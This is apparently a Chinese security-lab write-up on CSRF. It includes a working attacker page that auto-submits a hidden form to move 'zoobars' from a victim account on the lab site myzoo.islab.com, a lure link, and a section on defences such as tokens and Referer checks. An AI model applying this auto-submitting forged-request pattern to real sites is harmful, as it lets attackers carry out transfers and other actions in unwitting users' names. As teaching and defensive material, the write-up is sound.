信安实践——CSRF攻击与防御
1.实验原理
CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
简单地说,CSRF攻击就是攻击者盗用了受害者的身份,在存在CSRF漏洞的网站上伪装成受害者进行操作。
CSRF攻击原理
以下介绍涉及4个实体:
- user: 一个普通的互联网用户
- webA: 一个受user信任的网站,但存在CSRF漏洞
- attacker: 利用CSRF漏洞的攻击者
- webB: 攻击者的网站
CSRF攻击步骤如下:
- user 访问 webA
- webA 的 cookie 未失效,如 user 未登出 webA,或未清除 webA 的 cookie 等
- user 访问 webB
- webB 利用 webA 的 cookie 伪装成 user 向 webA 发送请求
- webA 接受 webB 的请求,并根据请求携带的 cookie 认为 webB 是 user,执行请求
- CSRF攻击结束
2.模拟CSRF攻击
首先看一下可以被攻击的页面:
在正常的业务流程中,user(在这是 user 名为 lab3_v)可以在这个页面选择将自己的 zoobars 转移给其他用户,可以理解为极度简化版的银行转账流程。执行这一操作,只需要 user 输入 zoobars 数量和转账用户名。
查看此页面的 html 源代码,我们仅仅需要表单代码,如下:
<form method=POST name=transferform action="/transfer.php">
<p>Send <input name=zoobars type=text value="" size=5> zoobars</p>
<p>to <input name=recipient type=text value=""></p>
<input type=submit name=submission value="Send">
</form>
现在一个攻击者attacker,自己构建了一个网站,并且在自己的页面中写下如下代码,假设此页面的URL是 http://csrf.com/csrf.html:
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>CSRF Attack</title>
</head>
<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>
<form method="POST"
name="transferform"
action="http://myzoo.islab.com/transfer.php"
target="it"
id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="lab3_a">
<input type="hidden" name="submission" value="Show Detil">
</form>
<h1>Hi,I'm lab3_a</h1>
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
这段代码主要做的是:将 myzoo.islab.com/transfer.php 的表单页面复制过来,简单修改后将其隐藏,修改的地方主要是每次转移的 zoobars 数量以及转移用户,并在页面加载完毕后使用 js 模拟这个表单提交的事件。这样,就完成了 CSRF 攻击,接下来 attacker 要做的工作就是引导其他用户访问这个页面,只要有某个用户,其在 myzoo.islab.com 的 cookies 还有效,他的 zoobars 就会被转移到 attacker 。
比如,attacker 以用户名 lab3_a 登录 myzoo.islab.com,修改自己的主页的 profile 如下:
<a href=\'http://csrf.com/csrf.html\'>click me</a>
之后,如果其他用户,如 lab3_v 访问了 lab3_a 的主页,此时 lab3_v 有 10 个 zoobars, lab3_a 有 10 个 zoobars
之后, lab3_v 点击了 lab3_a 主页上的链接,则 lab3_v 会被引导至攻击页面,并被窃取了 zoobars。
此时 lab3_v 有 9 个 zoobars, lab3_a 有 11 个 zoobars
3.CSRF防御
(1) 验证码
使用验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制 CSRF 攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。此外,使用图像识别等方式也可以跳过验证码交互机制。
(2) Referer Check
Referer Check在Web最常见的应用就是"防止图片盗链"。同理,Referer Check也可以被用于检查请求是否来自合法的"源"(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。
但是因为服务器并不是什么时候都能取到Referer,所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。
(3) CSRF Token
现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。
例子:
- 用户访问某个表单页面。
- 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
- 在页面表单附带上Token参数。
- 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。
这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。
信安实践——CSRF攻击与防御的更多相关文章
- CSRF——攻击与防御
CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...
- csrf 攻击和防御
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- CSRF攻击与防御(写得非常好)
转自:http://blog.csdn.net/stpeace/article/details/53512283 CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forge ...
- Web安全之CSRF攻击的防御措施
Web安全之CSRF攻击的防御措施 CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...
- 转!!CSRF攻击与防御(写得非常好)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- csrf 攻击及防御
1.什么是CSRF攻击: CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:C ...
- CSRF攻击与防御(转)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送 ...
- CSRF攻击与防御
CSRF是什么 CSRF在百度百科中是这么说的:“CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者session ridin ...
- 转-CSRF——攻击与防御
0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...
随机推荐
- C语言学习记录_2019.02.05
switch只能判断整数,而分段函数的判别是一个范围,我们无法用整数来表示范围 跟踪语句的方法: (1)debug调试 (2)printf( )语句跟踪 小套路:当循环次数很大时,可以先模拟较小次数的 ...
- matlab 基于 libsvm工具箱的svm分类遇到的问题与解决
最近在做基于无线感知的身份识别这个工作,在后期数据处理阶段,需要使用二分类的方法进行训练模型.本身使用matlab做,所以看了一下网上很多都是使用libsvm这个工具箱,就去下载了,既然用到了想着就把 ...
- 20155332 补交ch12课下作业
20155332 补交ch12课下作业 课下测试提交晚了,我课后补做了一遍,答对13题,答错3题. 试题内容如下所示: 课本内容 1.并发(Concurrency) 访问慢I/O设备:就像当应用程序等 ...
- Scala中=>的用法
1. 表示函数的类型(Function Type) 例如: def double(x: Int): Int = x*2 函数double的类型就是 (x: Int) => Int 或者 Int ...
- vba 语法
VBA语言基础 第一节 标识符 一.定义 标识符是一种标识变量.常量.过程.函数.类等语言构成单位的符号,利用它可以完成对变量.常量.过程.函数.类等的引用. 二.命名规则 1) 字母打头,由字母.数 ...
- Circuit Breaker模式
Circuit Breaker模式会处理一些需要一定时间来重连远程服务和远端资源的错误.该模式可以提高一个应用的稳定性和弹性. 问题 在类似于云的分布式环境中,当一个应用需要执行一些访问远程资源或者是 ...
- PyQt5在QWidget窗体中显示Qwidget的自定义类(补:完美解决)
[概览] 1.显示原生Qwidget 1)不使用布局(绝对定位) 2)使用布局 2.显示Qwidget的自定义类 1)不使用布局(绝对定位) 2)使用布局 [知识点] 1.显示原生Qwid ...
- 8-[CSS]-选择器
1.选择器 首先来说一下,什么是选择器.在一个HTML页面中会有很多很多的元素,不同的元素可能会有不同的样式,某些元素又需要设置相同的样式,选择器就是用来从HTML页面中查找特定元素的,找到元素之后就 ...
- vue中使用定时器时this指向问题
在写一个很小的demo时,用的普通函数写法,没有用es6箭头函数,发现this变化了,后来查找到了问题所在: 箭头函数中的this指向是固定不变(定义函数时的指向),在vue中指向vue 普通函数中的 ...
- CodeForces 985D Sand Fortress
Description You are going to the beach with the idea to build the greatest sand castle ever in your ...